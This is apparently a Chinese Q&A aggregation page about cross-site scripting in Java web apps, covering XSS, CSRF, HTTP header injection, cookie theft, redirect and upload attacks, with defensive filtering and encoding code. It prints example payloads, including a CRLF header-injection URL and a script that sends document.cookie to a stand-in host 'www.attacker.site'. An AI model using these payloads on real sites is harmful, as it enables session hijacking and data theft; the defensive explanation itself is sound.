當前位置:首頁 » 編程軟體 » java跨站腳本

java跨站腳本

發布時間: 2022-12-08 19:10:27

『壹』 網站受到了XSS攻擊,有什麼辦法

一.跨站腳本攻擊(XSS)


跨站腳本攻擊(XSS,Cross-site scripting)是最常見和基本的攻擊WEB網站的方法。攻擊者在網頁上發布包含攻擊性代碼的數據。當瀏覽者看到此網頁時,特定的腳本就會以瀏覽者用 戶的身份和許可權來執行。通過XSS可以比較容易地修改用戶數據、竊取用戶信息,以及造成其它類型的攻擊,例如CSRF攻擊


常見解決辦法:確保輸出到HTML頁面的數據以HTML的方式被轉義


出錯的頁面的漏洞也可能造成XSS攻擊.比如頁面/gift/giftList.htm?page=2找不到,出錯頁面直接把該url原樣輸出,如果攻擊者在url後面加上攻擊代碼發給受害者,就有可能出現XSS攻擊


二. 跨站請求偽造攻擊(CSRF)



跨站請求偽造(CSRF,Cross-site request forgery)是另一種常見的攻擊。攻擊者通過各種方法偽造一個請求,模仿用戶提交表單的行為,從而達到修改用戶的數據,或者執行特定任務的目的。為了 假冒用戶的身份,CSRF攻擊常常和XSS攻擊配合起來做,但也可以通過其它手段,例如誘使用戶點擊一個包含攻擊的鏈接

解決的思路有:

1.採用POST請求,增加攻擊的難度.用戶點擊一個鏈接就可以發起GET類型的請求。而POST請求相對比較難,攻擊者往往需要藉助javascript才能實現

2.對請求進行認證,確保該請求確實是用戶本人填寫表單並提交的,而不是第三者偽造的.具體可以在會話中增加token,確保看到信息和提交信息的是同一個人


三.Http Heads攻擊


凡是用瀏覽器查看任何WEB網站,無論你的WEB網站採用何種技術和框架,都用到了HTTP協議.HTTP協議在Response header和content之間,有一個空行,即兩組CRLF(0x0D 0A)字元。這個空行標志著headers的結束和content的開始。「聰明」的攻擊者可以利用這一點。只要攻擊者有辦法將任意字元「注入」到 headers中,這種攻擊就可以發生


以登陸為例:有這樣一個url:


http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex


當登錄成功以後,需要重定向回page參數所指定的頁面。下面是重定向發生時的response headers.


HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/index


假如把URL修改一下,變成這個樣子:


http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E


那麼重定向發生時的reponse會變成下面的樣子:

HTTP/1.1 302 Moved Temporarily

Date: Tue, 17 Aug 2010 20:00:29 GMT

Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635

Location: http://localhost/checkout<CRLF>

<CRLF>

<script>alert('hello')</script>


這個頁面可能會意外地執行隱藏在URL中的javascript。類似的情況不僅發生在重定向(Location header)上,也有可能發生在其它headers中,如Set-Cookie header。這種攻擊如果成功的話,可以做很多事,例如:執行腳本、設置額外的cookie(<CRLF>Set-Cookie: evil=value)等。

避免這種攻擊的方法,就是過濾所有的response headers,除去header中出現的非法字元,尤其是CRLF。


伺服器一般會限制request headers的大小。例如Apache server默認限制request header為8K。如果超過8K,Aapche Server將會返回400 Bad Request響應:

對於大多數情況,8K是足夠大的。假設應用程序把用戶輸入的某內容保存在cookie中,就有可能超過8K.攻擊者把超過8k的header鏈接發給受害 者,就會被伺服器拒絕訪問.解決辦法就是檢查cookie的大小,限制新cookie的總大寫,減少因header過大而產生的拒絕訪問攻擊


四.Cookie攻擊


通過Java Script非常容易訪問到當前網站的cookie。你可以打開任何網站,然後在瀏覽器地址欄中輸 入:javascript:alert(doucment.cookie),立刻就可以看到當前站點的cookie(如果有的話)。攻擊者可以利用這個特 性來取得你的關鍵信息。例如,和XSS攻擊相配合,攻擊者在你的瀏覽器上執行特定的Java Script腳本,取得你的cookie。假設這個網站僅依賴cookie來驗證用戶身份,那麼攻擊者就可以假冒你的身份來做一些事情。

現在多數瀏覽器都支持在cookie上打上HttpOnly的標記,凡有這個標志的cookie就無法通過Java Script來取得,如果能在關鍵cookie上打上這個標記,就會大大增強cookie的安全性


五.重定向攻擊



一種常用的攻擊手段是「釣魚」。釣魚攻擊者,通常會發送給受害者一個合法鏈接,當鏈接被點擊時,用戶被導向一個似是而非的非法網站,從而達到騙取用戶信 任、竊取用戶資料的目的。為防止這種行為,我們必須對所有的重定向操作進行審核,以避免重定向到一個危險的地方.常見解決方案是白名單,將合法的要重定向 的url加到白名單中,非白名單上的域名重定向時拒之,第二種解決方案是重定向token,在合法的url上加上token,重定向時進行驗證.


六.上傳文件攻擊



1.文件名攻擊,上傳的文件採用上傳之前的文件名,可能造成:客戶端和服務端字元碼不兼容,導致文件名亂碼問題;文件名包含腳本,從而造成攻擊.


2.文件後綴攻擊.上傳的文件的後綴可能是exe可執行程序,js腳本等文件,這些程序可能被執行於受害者的客戶端,甚至可能執行於伺服器上.因此我們必須過濾文件名後綴,排除那些不被許可的文件名後綴.


3.文件內容攻擊.IE6有一個很嚴重的問題 , 它不信任伺服器所發送的content type,而是自動根據文件內容來識別文件的類型,並根據所識別的類型來顯示或執行文件.如果上傳一個gif文件,在文件末尾放一段js攻擊腳本,就有可 能被執行.這種攻擊,它的文件名和content type看起來都是合法的gif圖片,然而其內容卻包含腳本,這樣的攻擊無法用文件名過濾來排除,而是必須掃描其文件內容,才能識別。

『貳』 如何防止跨站點腳本攻擊

防止跨站點腳本攻擊的解決方法:

1.輸入過濾

對每一個用戶的輸入或者請求首部,都要進行過濾。這需要程序員有良好的安全素養,而且需要覆蓋到所有的輸入源。而且還不能夠阻止其他的一些問題,如錯誤頁等。
final String filterPattern="[<>{}\\[\\];\\&]";
String inputStr = s.replaceAll(filterPattern," ");

2.輸出過濾

public static String encode(String data)
{
final StringBuffer buf = new StringBuffer();
final char[] chars = data.toCharArray();
for (int i = 0; i < chars.length; i++)
{
buf.append("&#" + (int) chars[i]);
}
return buf.toString();
}
public static String decodeHex(final String data,
final String charEncoding)
{
if (data == null)
{
return null;
}
byte[] inBytes = null;
try
{
inBytes = data.getBytes(charEncoding);
}
catch (UnsupportedEncodingException e)
{
//use default charset
inBytes = data.getBytes();
}

byte[] outBytes = new byte[inBytes.length];
int b1;
int b2;
int j=0;
for (int i = 0; i < inBytes.length; i++)
{
if (inBytes[i] == '%')
{
b1 = Character.digit((char) inBytes[++i], 16);
b2 = Character.digit((char) inBytes[++i], 16);
outBytes[j++] = (byte) (((b1 & 0xf) << 4) +
(b2 & 0xf));
}
else
{
outBytes[j++] = inBytes[i];
}
}

String encodedStr = null;
try
{
encodedStr = new String(outBytes, 0, j, charEncoding);
}
catch (UnsupportedEncodingException e)
{
encodedStr = new String(outBytes, 0, j);
}
return encodedStr;
}
<!-- Maps the 404 Not Found response code
to the error page /errPage404 -->

<error-page>
<error-code>404</error-code>
<location>/errPage404</location>
</error-page>

<!-- Maps any thrown ServletExceptions
to the error page /errPageServ -->
<error-page>
<exception-type>javax.servlet.ServletException</exception-type>
<location>/errPageServ</location>
</error-page>

<!-- Maps any other thrown exceptions
to a generic error page /errPageGeneric -->
<error-page>
<exception-type>java.lang.Throwable</exception-type>
<location>/errPageGeneric</location>
</error-page>
任何的非servlet例外都被/errPageGeneric路徑捕捉,這樣就可以處理。
Throwable throwable = (Throwable)
request.getAttribute("javax.servlet.error.exception");
String status_code = ((Integer)
request.getAttribute("javax.servlet.error.status_code")).toString( );

3.安裝三方的應用防火牆,可以攔截css攻擊。

附:

跨站腳本不像其他攻擊只包含兩個部分:攻擊者和web站點。
跨站腳本包含三個部分:攻擊者,客戶和web站點。
跨站腳本攻擊的目的是竊取客戶的cookies,或者其他可以證明用戶身份的敏感信息。

攻擊
一個get請求
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host:
www.vulnerable.site
會產生如下的結果
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker
<BR>
Welcome to our system
...
</HTML>
但是如果請求被篡改
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site
就會得到如下的響應
<HTML>
<Title>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
這樣在客戶端會有一段非法的腳本執行,這不具有破壞作用,但是如下的腳本就很危險了。
http://www.vulnerable.site/welcome.cgi?name=<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」%2Bdocument.cookie)</script>
響應如下:
<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(「http://www.attacker.site/collect.cgi?cookie=」+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>
瀏覽器回執行該腳本並將客戶的cookie發到一個攻擊者的網站,這樣攻擊者就得到了客戶的cookie。

『叄』 什麼是xss攻擊

一、什麼是跨站腳本攻擊
跨站腳本攻擊(Cross Site Scripting)縮寫為CSS,但這會與層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆。通常將跨站腳本攻擊縮寫為XSS。
跨站腳本攻擊(XSS),是最普遍的Web應用安全漏洞。這類漏洞能夠使得攻擊者嵌入惡意腳本代碼到正常用戶會訪問到的頁面中,當正常用戶訪問該頁面時,則可導致嵌入的惡意腳本代碼的執行,從而達到惡意攻擊用戶的目的。
二、跨站腳本攻擊的種類
從攻擊代碼的工作方式可以分為三個類型:
1、持久型跨站:最直接的危害類型,跨站代碼存儲在伺服器(資料庫)。
2、非持久型跨站:反射型跨站腳本漏洞,最普遍的類型。用戶訪問伺服器-跨站鏈接-返回跨站代碼。
3、DOM跨站(DOM XSS):DOM(document object model文檔對象模型),客戶端腳本處理邏輯導致的安全問題。
三、跨站腳本攻擊的手段和目的
常用的XSS攻擊手段和目的有:
1、盜用cookie,獲取敏感信息。
2、利用植入Flash,通過crossdomain許可權設置進一步獲取更高許可權;或者利用Java等得到類似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊)用戶的身份執行一些管理動作,或執行一些一般的如發微博、加好友、發私信等操作。
4、利用可被攻擊的域受到其他域信任的特點,以受信任來源的身份請求一些平時不允許的操作,如進行不當的投票活動。
5、在訪問量極大的一些頁面上的XSS可以攻擊一些小型網站,實現DDoS攻擊的效果。
四、跨站腳本攻擊的防禦
XSS攻擊主要是由程序漏洞造成的,要完全防止XSS安全漏洞主要依靠程序員較高的編程能力和安全意識,當然安全的軟體開發流程及其他一些編程安全原則也可以大大減少XSS安全漏洞的發生。這些防範XSS漏洞原則包括:
1、不信任用戶提交的任何內容,對所有用戶提交內容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、REFER、POST數據等,僅接受指定長度范圍內、採用適當格式、採用所預期的字元的內容提交,對其他的一律過濾。盡量採用POST而非GET提交表單;對「<」,「>」,「;」,「」」等字元做過濾;任何內容輸出到頁面之前都必須加以en-code,避免不小心把htmltag顯示出來。
2、實現Session 標記(session tokens)、CAPTCHA(驗證碼)系統或者HTTP引用頭檢查,以防功能被第三方網站所執行,對於用戶提交信息的中的img等link,檢查是否有重定向回本站、不是真的圖片等可疑操作。
3、cookie 防盜。避免直接在cookie中泄露用戶隱私,例如email、密碼,等等;通過使cookie和系統IP綁定來降低cookie泄露後的危險。這樣攻擊者得到的cookie沒有實際價值,很難拿來直接進行重放攻擊。
4、確認接收的內容被妥善地規范化,僅包含最小的、安全的Tag(沒有JavaScript),去掉任何對遠程內容的引用(尤其是樣式表和JavaScript),使用HTTPonly的cookie。

『肆』 XSS(跨站腳本漏洞)誰幫忙修復下,我看著就頭大,一竅不通啊。

對於php你可以用htmlentities()函數
例如這樣:
<?php
echo htmlentities($_POST['abc']);
?>
至於asp,默認就能防xss攻擊,無需任何操作

『伍』 xss是什麼意思 xss的意思介紹

跨站腳本,英文全稱為Cross-Site Scripting,也被稱為XSS或跨站腳本或跨站腳本攻擊,是一種針對網站應用程序的安全漏洞攻擊技術,是代碼注入的一種。它允許惡意用戶將代碼注入網頁,其他用戶在瀏覽網頁時就會收到影響。惡意用戶利用XSS代碼攻擊成功後,可能得到很高的許可權(如執行一些操作)、私密網頁內容、會話和cookie等各種內容。
XSS攻擊可以分為三種:反射型、存儲型和DOM型。
反射型XSS:
又稱非持久型XSS,這種攻擊方式往往具有一次性。
攻擊方式:攻擊者通過電子郵件等方式將包含XSS代碼的惡意鏈接發送給目標用戶。當目標用戶訪問該鏈接時,伺服器接收該目標用戶的請求並進行處理,然後伺服器把帶有XSS代碼的數據發送給目標用戶的瀏覽器,瀏覽器解析這段帶有XSS代碼的惡意腳本後,就會觸發XSS漏洞。
存儲型XSS:
存儲型XSS又稱持久型XSS,攻擊腳本將被永久地存放在目標伺服器的資料庫或文件中,具有很高的隱蔽性。
攻擊方式:這種攻擊多見於論壇、博客和留言板,攻擊者在發帖的過程中,將惡意腳本連同正常信息一起注入帖子的內容中。隨著帖子被伺服器保存下來,惡意腳本也永久地被存放在伺服器的後端存儲器中。當其他用戶瀏覽這個被注入了惡意腳本的帖子時,惡意腳本會在他們的瀏覽器中得到執行。
DOM型XSS
DOM全稱Document Object Model,使用DOM可以使程序和腳本能夠動態訪問和更新文檔內容、結構及樣式。
DOM型XSS其實是一種特殊類型的反射型XSS,它是基於DOM文檔對象模型的一種漏洞。
HTML的標簽都是節點,而這些節點組成了DOM的整體結構——節點樹。通過HTML DOM,樹中所有節點均可通過JavaScript進行訪問。所有HTML(節點)均可被修改,也可以創建或刪除節點。

『陸』 XP IE6沒有XSS篩選器 怎麼解決"已對此頁面進行了修改 以幫助阻止跨站腳本..."

internet選項-安全-自定義里,啟用 JAVA小程序和活動腳本。應該就可以了

『柒』 java中關於跨站腳本out.priint怎麼及解決

攻擊者先構造一個跨站頁面,利用script、<IMG>、<IFRAME>等各種方式使得用戶瀏覽這個頁面 時,觸發對被攻擊站點的http 請求。此時,如果被攻擊者如果已經在被攻擊站點登錄,就會持有該站點cookie。這樣該站點會認為被攻擊者發起了一個 http 請求。

『捌』 java.lang.: overflow detected

出現這種情況肯能出現了跨站腳本攻擊。否則,就是解析HttpRequest對象時檢測到了數組下表溢出的情況。檢查的話,可以看下HttpRequestParser.parser()方法的傳入參數有沒有問題。

『玖』 怎樣過濾跨站惡意腳本攻擊

1. 在輸入流中截住form data中的惡意腳本
研究兩種XSS攻擊,如反射型和存儲型XSS攻擊,其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。對簡單的HTTP請求,一般使用GET和POST方法。
2. 在輸入流中檢測濾掉來自其他網站的URL中的惡意腳本
當用戶不小心點擊了被其他黑客提供的假冒URL,則可能在該URL中注入惡意腳本。因此,也需要對這種情況進行處理。因此為確保其他在header中的惡意腳本,需要對request.getHeader進行重寫。以下為例子:
public String getHeader(String name) {
String value = super.getHeader(name);
if (value == null)
return null;
return xssClean(value);
}
3. xssClean函數怎樣實現才可以過濾掉惡意腳本呢?
如果是java語言,推薦使用antisamy。使用antisamy進行XSS清理非常簡單,只需要簡單的幾個步驟即可達到目的。
1『. 在pom.xml文件中加入antisamy的dependency,
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.5.3</version>
</dependency>
2』. 加入了dependency之後,就可以在xssClean中加入antisamy對惡意腳本進行清理。其中policy.xml是白名單,policy.xml中規定了各個html元素所必須滿足的條件。antisamy的精髓之處在於,使用policy文件來規定你的過濾條件,若輸入字元串不滿足policy文件中的條件,則會過濾掉字元中的惡意腳本,返回過濾後的結果。具體代碼如下:
private String xssClean(String value) {
AntiSamy antiSamy = new AntiSamy();
try {
final CleanResults cr = antiSamy.scan(value, Policy.getInstance("policy.xml"), AntiSamy.SAX);
return cr.getCleanHTML();
} catch (ScanException e) {
e.printStackTrace();
} catch (PolicyException e) {
e.printStackTrace();
}
return value;
}
這樣,我們就將client端用戶輸入的request,在server端進行了攔截,並且進行了過濾。

『拾』 Struct2+Spring 架構JavaWeb項目,出現xss跨站腳本攻擊漏洞解決方案

沒用到富文本的話可以用spring里的HtmlUtils.htmlEscape(string str)來對parameter轉碼。是用filter還是其他方式都可以

熱點內容
psv上傳速度 發布:2023-02-07 00:32:47 瀏覽:313
王牌戰士蘋果和安卓怎麼登陸 發布:2023-02-07 00:23:05 瀏覽:463
錄制源碼 發布:2023-02-07 00:21:06 瀏覽:397
移動系統密碼是什麼意思 發布:2023-02-07 00:17:16 瀏覽:249
常用演算法的方法 發布:2023-02-07 00:17:13 瀏覽:826
百聞牌如何查詢賬號密碼 發布:2023-02-07 00:14:29 瀏覽:589
shell腳本的練習與使用 發布:2023-02-07 00:09:21 瀏覽:384
md5簽名演算法 發布:2023-02-07 00:08:42 瀏覽:43
股票的服務密碼是什麼 發布:2023-02-07 00:08:40 瀏覽:50
androiddlna播放器 發布:2023-02-07 00:06:41 瀏覽:530